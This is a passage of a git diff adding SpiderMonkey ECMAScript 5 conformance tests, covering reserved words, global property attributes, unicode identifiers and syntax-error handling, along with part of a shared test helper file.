+ "a non-configurable, enumerable, non-writable data property, must " +
+ "throw a TypeError per ES5+errata: " + e);
+ assertEq(data6, "data6");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data6");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, true);
+ assertEq(desc.writable, false);
+ assertEq(desc.value, "data6");
+}
+
+
+Object.defineProperty(this, "data7",
+ {
+ configurable: false,
+ enumerable: false,
+ writable: true,
+ value: "data7"
+ });
+
+outer = undefined;
+try
+{
+ evaluate("function data7() { return 'data7 function'; } outer = data7;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable, writable data" +
+ "property");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable, writable data property, must " +
+ "throw a TypeError per ES5+errata: " + e);
+ assertEq(data7, "data7");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data7");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.writable, true);
+ assertEq(desc.value, "data7");
+}
+
+
+Object.defineProperty(this, "data8",
+ {
+ configurable: false,
+ enumerable: false,
+ writable: false,
+ value: "data8"
+ });
+
+outer = undefined;
+try
+{
+ evaluate("function data8() { return 'data8 function'; } outer = data8;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable, non-writable data" +
+ "property");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable, non-writable data property, " +
+ "must throw a TypeError per ES5+errata: " + e);
+ assertEq(data8, "data8");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data8");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.writable, false);
+ assertEq(desc.value, "data8");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/misc/future-reserved-words.js b/js/src/tests/ecma_5/misc/future-reserved-words.js
new file mode 100644
index 000000000..0fa2e3221
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/future-reserved-words.js
@@ -0,0 +1,463 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 497869;
+var summary = "Implement FutureReservedWords per-spec";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var futureReservedWords =
+ [
+ "class",
+ // "const", // Mozilla extension enabled even for versionless code
+ "enum",
+ "export",
+ "extends",
+ "import",
+ "super",
+ ];
+
+var strictFutureReservedWords =
+ [
+ "implements",
+ "interface",
+ "let", // enabled: this file doesn't execute as JS1.7
+ "package",
+ "private",
+ "protected",
+ "public",
+ "static",
+ "yield", // enabled: this file doesn't execute as JS1.7
+ ];
+
+function testWord(word, expectNormal, expectStrict)
+{
+ var actual, status;
+
+ // USE AS LHS FOR ASSIGNMENT
+
+ actual = "";
+ status = summary + ": " + word + ": normal assignment";
+ try
+ {
+ eval(word + " = 'foo';");
+ actual = "no error";
+ }
+ catch(e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict assignment";
+ try
+ {
+ eval("'use strict'; " + word + " = 'foo';");
+ actual = "no error";
+ }
+ catch(e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE IN VARIABLE DECLARATION
+
+ actual = "";
+ status = summary + ": " + word + ": normal var";
+ try
+ {
+ eval("var " + word + ";");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict var";
+ try
+ {
+ eval("'use strict'; var " + word + ";");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE IN FOR-IN VARIABLE DECLARATION
+
+ actual = "";
+ status = summary + ": " + word + ": normal for-in var";
+ try
+ {
+ eval("for (var " + word + " in {});");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict for-in var";
+ try
+ {
+ eval("'use strict'; for (var " + word + " in {});");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS CATCH IDENTIFIER
+
+ actual = "";
+ status = summary + ": " + word + ": normal var";
+ try
+ {
+ eval("try { } catch (" + word + ") { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict var";
+ try
+ {
+ eval("'use strict'; try { } catch (" + word + ") { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS LABEL
+
+ actual = "";
+ status = summary + ": " + word + ": normal label";
+ try
+ {
+ eval(word + ": while (false);");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict label";
+ try
+ {
+ eval("'use strict'; " + word + ": while (false);");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS ARGUMENT NAME IN FUNCTION DECLARATION
+
+ actual = "";
+ status = summary + ": " + word + ": normal function argument";
+ try
+ {
+ eval("function foo(" + word + ") { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict function argument";
+ try
+ {
+ eval("'use strict'; function foo(" + word + ") { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ actual = "";
+ status = summary + ": " + word + ": function argument retroactively strict";
+ try
+ {
+ eval("function foo(" + word + ") { 'use strict'; }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS ARGUMENT NAME IN FUNCTION EXPRESSION
+
+ actual = "";
+ status = summary + ": " + word + ": normal function expression argument";
+ try
+ {
+ eval("var s = (function foo(" + word + ") { });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict function expression argument";
+ try
+ {
+ eval("'use strict'; var s = (function foo(" + word + ") { });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ actual = "";
+ status = summary + ": " + word + ": function expression argument retroactively strict";
+ try
+ {
+ eval("var s = (function foo(" + word + ") { 'use strict'; });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS ARGUMENT NAME WITH FUNCTION CONSTRUCTOR
+
+ actual = "";
+ status = summary + ": " + word + ": argument with normal Function";
+ try
+ {
+ Function(word, "return 17");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": argument with strict Function";
+ try
+ {
+ Function(word, "'use strict'; return 17");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS ARGUMENT NAME IN PROPERTY SETTER
+
+ actual = "";
+ status = summary + ": " + word + ": normal property setter argument";
+ try
+ {
+ eval("var o = { set x(" + word + ") { } };");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict property setter argument";
+ try
+ {
+ eval("'use strict'; var o = { set x(" + word + ") { } };");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ actual = "";
+ status = summary + ": " + word + ": property setter argument retroactively strict";
+ try
+ {
+ eval("var o = { set x(" + word + ") { 'use strict'; } };");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS FUNCTION NAME IN FUNCTION DECLARATION
+
+ actual = "";
+ status = summary + ": " + word + ": normal function name";
+ try
+ {
+ eval("function " + word + "() { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict function name";
+ try
+ {
+ eval("'use strict'; function " + word + "() { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ actual = "";
+ status = summary + ": " + word + ": function name retroactively strict";
+ try
+ {
+ eval("function " + word + "() { 'use strict'; }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS FUNCTION NAME IN FUNCTION EXPRESSION
+
+ actual = "";
+ status = summary + ": " + word + ": normal function expression name";
+ try
+ {
+ eval("var s = (function " + word + "() { });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict function expression name";
+ try
+ {
+ eval("'use strict'; var s = (function " + word + "() { });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ actual = "";
+ status = summary + ": " + word + ": function expression name retroactively strict";
+ try
+ {
+ eval("var s = (function " + word + "() { 'use strict'; });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+}
+
+function testFutureReservedWord(word)
+{
+ testWord(word, "SyntaxError", "SyntaxError");
+}
+
+function testStrictFutureReservedWord(word)
+{
+ testWord(word, "no error", "SyntaxError");
+}
+
+futureReservedWords.forEach(testFutureReservedWord);
+strictFutureReservedWords.forEach(testStrictFutureReservedWord);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/misc/getter-setter-outerize-this.js b/js/src/tests/ecma_5/misc/getter-setter-outerize-this.js
new file mode 100644
index 000000000..46c61b889
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/getter-setter-outerize-this.js
@@ -0,0 +1,21 @@
+if (typeof window === "undefined") {
+ // This test is meant to run in the browser, but it's easy to
+ // run it in the shell as well, even though it has no inner/outer
+ // windows.
+ window = this;
+}
+
+var res = false;
+Object.defineProperty(this, "foo", {configurable: true,
+ get: function() { return this === window; },
+ set: function(v) { res = this === window; }});
+
+(function() {
+ for (var i = 0; i < 3000; ++i) {
+ window.foo = i;
+ assertEq(res, true, "setter");
+ assertEq(window.foo, true, "getter");
+ }
+})();
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/misc/global-numeric-properties.js b/js/src/tests/ecma_5/misc/global-numeric-properties.js
new file mode 100644
index 000000000..352c0d3b7
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/global-numeric-properties.js
@@ -0,0 +1,59 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 537863;
+var summary =
+ 'undefined, Infinity, and NaN global properties should not be writable';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var desc, old, error;
+var global = this;
+
+var names = ["NaN", "Infinity", "undefined"];
+
+for (var i = 0; i < names.length; i++)
+{
+ var name = names[i];
+ desc = Object.getOwnPropertyDescriptor(global, name);
+ assertEq(desc !== undefined, true, name + " should be present");
+ assertEq(desc.enumerable, false, name + " should not be enumerable");
+ assertEq(desc.configurable, false, name + " should not be configurable");
+ assertEq(desc.writable, false, name + " should not be writable");
+
+ old = global[name];
+ global[name] = 17;
+ assertEq(global[name], old, name + " changed on setting?");
+
+ error = "before";
+ try
+ {
+ throw new TypeError("SpiderMonkey doesn't currently implement " +
+ "strict-mode throwing when setting a readonly " +
+ "property, not running this bit of test for now; " +
+ "see bug 537873");
+
+ (function() { "use strict"; global[name] = 42; error = "didn't throw"; })();
+ }
+ catch (e)
+ {
+ if (e instanceof TypeError)
+ error = "typeerror";
+ else
+ error = "bad exception: " + e;
+ }
+ assertEq(error, "typeerror", "wrong strict mode error setting " + name);
+}
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/misc/line-paragraph-separator-parse-as-lineterminator.js b/js/src/tests/ecma_5/misc/line-paragraph-separator-parse-as-lineterminator.js
new file mode 100644
index 000000000..8eef6d658
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/line-paragraph-separator-parse-as-lineterminator.js
@@ -0,0 +1,51 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 663331;
+var summary =
+ "U+2028 LINE SEPARATOR and U+2029 PARAGRAPH SEPARATOR must match the " +
+ "LineTerminator production when parsing code";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var hidden = 17;
+var assigned;
+
+assigned = 42;
+assertEq(eval('"use strict"; var hidden\u2028assigned = 5; typeof hidden'),
+ "undefined");
+assertEq(assigned, 5);
+
+assigned = 42;
+function t1()
+{
+ assertEq(eval('var hidden\u2028assigned = 5; typeof hidden'), "undefined");
+ assertEq(assigned, 5);
+}
+t1();
+
+assigned = 42;
+assertEq(eval('"use strict"; var hidden\u2029assigned = 5; typeof hidden'),
+ "undefined");
+assertEq(assigned, 5);
+
+assigned = 42;
+function t2()
+{
+ assertEq(eval('var hidden\u2029assigned = 5; typeof hidden'), "undefined");
+ assertEq(assigned, 5);
+}
+t2();
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/misc/new-with-non-constructor.js b/js/src/tests/ecma_5/misc/new-with-non-constructor.js
new file mode 100644
index 000000000..edec0e31d
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/new-with-non-constructor.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function checkConstruct(thing) {
+ try {
+ new thing();
+ assertEq(0, 1, "not reached " + thing);
+ } catch (e) {
+ assertEq(e.message.includes(" is not a constructor") ||
+ e.message === "Function.prototype.toString called on incompatible object", true);
+ }
+}
+
+var re = /aaa/
+checkConstruct(re);
+
+var boundFunctionPrototype = Function.prototype.bind();
+checkConstruct(boundFunctionPrototype);
+
+var boundBuiltin = Math.sin.bind();
+checkConstruct(boundBuiltin);
+
+var proxiedFunctionPrototype = new Proxy(Function.prototype, {});
+checkConstruct(proxiedFunctionPrototype);
+
+var proxiedBuiltin = new Proxy(parseInt, {});
+checkConstruct(proxiedBuiltin);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_5/misc/redeclare-var-non-writable-property.js b/js/src/tests/ecma_5/misc/redeclare-var-non-writable-property.js
new file mode 100644
index 000000000..f21289d85
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/redeclare-var-non-writable-property.js
@@ -0,0 +1,24 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 539488;
+var summary =
+ '|var| statements for existing, read-only/permanent properties should not ' +
+ 'be errors';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var undefined;
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/misc/regexp-functions-with-undefined.js b/js/src/tests/ecma_5/misc/regexp-functions-with-undefined.js
new file mode 100644
index 000000000..e55b2acd0
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/regexp-functions-with-undefined.js
@@ -0,0 +1,43 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = /undefined/.exec();
+assertEq(a[0], 'undefined');
+assertEq(a.length, 1);
+
+a = /undefined/.exec(undefined);
+assertEq(a[0], 'undefined');
+assertEq(a.length, 1);
+
+assertEq(/undefined/.test(), true);
+assertEq(/undefined/.test(undefined), true);
+
+assertEq(/aaaa/.exec(), null);
+assertEq(/aaaa/.exec(undefined), null);
+
+assertEq(/aaaa/.test(), false);
+assertEq(/aaaa/.test(undefined), false);
+
+
+assertEq("undefined".search(), 0);
+assertEq("undefined".search(undefined), 0);
+assertEq("aaaa".search(), 0);
+assertEq("aaaa".search(undefined), 0);
+
+a = "undefined".match();
+assertEq(a[0], "");
+assertEq(a.length, 1);
+a = "undefined".match(undefined);
+assertEq(a[0], "");
+assertEq(a.length, 1);
+a = "aaaa".match();
+assertEq(a[0], "");
+assertEq(a.length, 1);
+a = "aaaa".match(undefined);
+assertEq(a[0], "");
+assertEq(a.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/misc/regress-bug632003.js b/js/src/tests/ecma_5/misc/regress-bug632003.js
new file mode 100644
index 000000000..c299f6dc4
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/regress-bug632003.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+var BUGNUMBER = 632003;
+var summary = 'The var statement should add the property to the global if it exists on the prototype';
+
+// Define properties on Object.prototype with various attributes and
+// value-getter-setter combinations then check that a var statement
+// can always define a variable with the same name in the global object.
+
+if (typeof evaluate != "undefined") {
+ var global_case = def_all("global_case");
+ evaluate(global_case.source);
+ check_values(this, global_case.var_list);
+}
+
+var eval_case = def_all("eval_case");
+eval(eval_case.source);
+check_values(this, eval_case.var_list);
+
+function def_all(prefix)
+{
+ var builder, index, i, j;
+
+ builder = {source: "", var_list: []};
+ index = 0;
+ for (i = 0; i <= 1; ++i) {
+ for (j = 0; j <= 1; ++j) {
+ def({value: index});
+ def({value: index, writable: true});
+ def({get: Function("return "+index+";")});
+ def({set: function() { }});
+ def({get: Function("return "+index+";"), set: function() { }});
+ }
+ }
+ return builder;
+
+ function def(descriptor_seed)
+ {
+ var var_name = prefix + index;
+ descriptor_seed.configurable = !!i;
+ descriptor_seed.enumerable = !!j;
+ Object.defineProperty(Object.prototype, var_name, descriptor_seed);
+ var var_value = index + 0.5;
+ builder.source += "var "+var_name+" = "+var_value+";\n";
+ builder.var_list.push({name: var_name, expected_value: var_value});
+ ++index;
+ }
+}
+
+function check_values(obj, var_list)
+{
+ for (i = 0; i != var_list.length; ++i) {
+ var name = var_list[i].name;
+ assertEq(obj.hasOwnProperty(name), true);
+ assertEq(obj[name], var_list[i].expected_value);
+ }
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/misc/shell.js b/js/src/tests/ecma_5/misc/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/shell.js
diff --git a/js/src/tests/ecma_5/misc/syntax-error-end-of-for-head-part.js b/js/src/tests/ecma_5/misc/syntax-error-end-of-for-head-part.js
new file mode 100644
index 000000000..f715b3e17
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/syntax-error-end-of-for-head-part.js
@@ -0,0 +1,51 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 672854;
+var summary =
+ "Syntax errors at the end of |for| statement header parts shouldn't cause " +
+ "crashes";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function checkSyntaxError(str)
+{
+ try
+ {
+ var f = Function("for(w in\\");
+ throw new Error("didn't throw, returned " + f);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "expected SyntaxError, got " + e);
+ }
+}
+
+checkSyntaxError("for(var w in \\");
+checkSyntaxError("for(w in \\");
+checkSyntaxError("for(var w\\");
+checkSyntaxError("for(w\\");
+checkSyntaxError("for(var w;\\");
+checkSyntaxError("for(w;\\");
+checkSyntaxError("for(var w; w >\\");
+checkSyntaxError("for(w; w >\\");
+checkSyntaxError("for(var w; w > 3;\\");
+checkSyntaxError("for(w; w > 3;\\");
+checkSyntaxError("for(var w; w > 3; 5\\");
+checkSyntaxError("for(w; w > 3; 5\\");
+checkSyntaxError("for(var w; w > 3; 5foo");
+checkSyntaxError("for(w; w > 3; 5foo");
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/misc/unicode-escaped-keyword.js b/js/src/tests/ecma_5/misc/unicode-escaped-keyword.js
new file mode 100644
index 000000000..e17df168c
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/unicode-escaped-keyword.js
@@ -0,0 +1,22 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function throws(code) {
+ var type;
+ try {
+ eval(code);
+ } catch (ex) {
+ type = ex.name;
+ }
+ assertEq(type, 'SyntaxError');
+}
+
+var s = '\\u0073';
+throws('var thi' + s);
+throws('switch (' + s + 'witch) {}')
+throws('var ' + s + 'witch');
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/misc/unicode-identifier-1d17.js b/js/src/tests/ecma_5/misc/unicode-identifier-1d17.js
new file mode 100644
index 000000000..ae763fdf2
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/unicode-identifier-1d17.js
@@ -0,0 +1,16 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var o = {}
+try {
+ eval('o.\\u1d17 = 42;');
+}
+catch (e) {
+ assertEq('should not fail', true);
+}
+assertEq(o['\u1d17'], 42);
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/misc/unicode-identifier-82f1.js b/js/src/tests/ecma_5/misc/unicode-identifier-82f1.js
new file mode 100644
index 000000000..313832cc3
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/unicode-identifier-82f1.js
@@ -0,0 +1,16 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var o = {}
+try {
+ eval('o.\\u82f1 = 42;');
+}
+catch (e) {
+ assertEq('should not fail', true);
+}
+assertEq(o['\u82f1'], 42);
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/misc/unnamed-function.js b/js/src/tests/ecma_5/misc/unnamed-function.js
new file mode 100644
index 000000000..d004149c0
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/unnamed-function.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 376052;
+var summary = 'Unnamed function expressions are forbidden in statement context';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function () {1;})');
+ reportCompare(true, true,
+ "unnamed function expression not in statement context works");
+ }
+ catch(ex)
+ {
+ reportCompare(true, false, "threw exception: " + ex);
+ }
+
+ try
+ {
+ eval('function () {1;}');
+ reportCompare(true, false, "didn't throw an exception");
+ }
+ catch(ex)
+ {
+ reportCompare(ex instanceof SyntaxError, true,
+ "unnamed function expression not in statement context " +
+ "should have been a SyntaxError");
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_5/misc/unwrapped-no-such-method.js b/js/src/tests/ecma_5/misc/unwrapped-no-such-method.js
new file mode 100644
index 000000000..d17406e7b
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/unwrapped-no-such-method.js
@@ -0,0 +1,13 @@
+// Our __noSuchMethod__ handling should only be called when |this| is an object.
+
+var x = "";
+// Reached from interpreter's JSOP_CALLPROP, and js::mjit::ic::CallProp.
+try { x.i(); } catch (ex) { }
+
+// Reached from interpreter's JSOP_CALLELEM, and js::mjit::stubs::CallElem.
+try { x[x](); } catch (ex) { }
+
+// Reached from js::mjit::stubs::CallProp:
+try { true.i(); } catch(ex) { }
+
+reportCompare(true,true);
diff --git a/js/src/tests/ecma_5/shell.js b/js/src/tests/ecma_5/shell.js
new file mode 100644
index 000000000..2d5ccea3f
--- /dev/null
+++ b/js/src/tests/ecma_5/shell.js
@@ -0,0 +1,154 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+
+/*
+ * Return true if both of these return true:
+ * - LENIENT_PRED applied to CODE
+ * - STRICT_PRED applied to CODE with a use strict directive added to the front
+ *
+ * Run STRICT_PRED first, for testing code that affects the global environment
+ * in loose mode, but fails in strict mode.
+ */
+function testLenientAndStrict(code, lenient_pred, strict_pred) {
+ return (strict_pred("'use strict'; " + code) &&
+ lenient_pred(code));
+}
+
+/*
+ * completesNormally(CODE) returns true if evaluating CODE (as eval
+ * code) completes normally (rather than throwing an exception).
+ */
+function completesNormally(code) {
+ try {
+ eval(code);
+ return true;
+ } catch (exception) {
+ return false;
+ }
+}
+
+/*
+ * returns(VALUE)(CODE) returns true if evaluating CODE (as eval code)
+ * completes normally (rather than throwing an exception), yielding a value
+ * strictly equal to VALUE.
+ */
+function returns(value) {
+ return function(code) {
+ try {
+ return eval(code) === value;
+ } catch (exception) {
+ return false;
+ }
+ }
+}
+
+/*
+ * returnsCopyOf(VALUE)(CODE) returns true if evaluating CODE (as eval code)
+ * completes normally (rather than throwing an exception), yielding a value
+ * that is deepEqual to VALUE.
+ */
+function returnsCopyOf(value) {
+ return function(code) {
+ try {
+ return deepEqual(eval(code), value);
+ } catch (exception) {
+ return false;
+ }
+ }
+}
+
+/*
+ * raisesException(EXCEPTION)(CODE) returns true if evaluating CODE (as
+ * eval code) throws an exception object that is an instance of EXCEPTION,
+ * and returns false if it throws any other error or evaluates
+ * successfully. For example: raises(TypeError)("0()") == true.
+ */
+function raisesException(exception) {
+ return function (code) {
+ try {
+ eval(code);
+ return false;
+ } catch (actual) {
+ return actual instanceof exception;
+ }
+ };
+};
+
+/*
+ * parsesSuccessfully(CODE) returns true if CODE parses as function
+ * code without an error.
+ */
+function parsesSuccessfully(code) {
+ try {
+ Function(code);
+ return true;
+ } catch (exception) {
+ return false;
+ }
+};
+
+/*
+ * parseRaisesException(EXCEPTION)(CODE) returns true if parsing CODE
+ * as function code raises EXCEPTION.
+ */
+function parseRaisesException(exception) {
+ return function (code) {
+ try {
+ Function(code);
+ return false;
+ } catch (actual) {
+ return actual instanceof exception;
+ }
+ };
+};
+
+/*
+ * Return the result of applying uneval to VAL, and replacing all runs
+ * of whitespace with a single horizontal space (poor man's
+ * tokenization).
+ */
+function clean_uneval(val) {
+ return uneval(val).replace(/\s+/g, ' ');
+}
+
+/*
+ * Return true if A is equal to B, where equality on arrays and objects
+ * means that they have the same set of enumerable properties, the values
+ * of each property are deep_equal, and their 'length' properties are
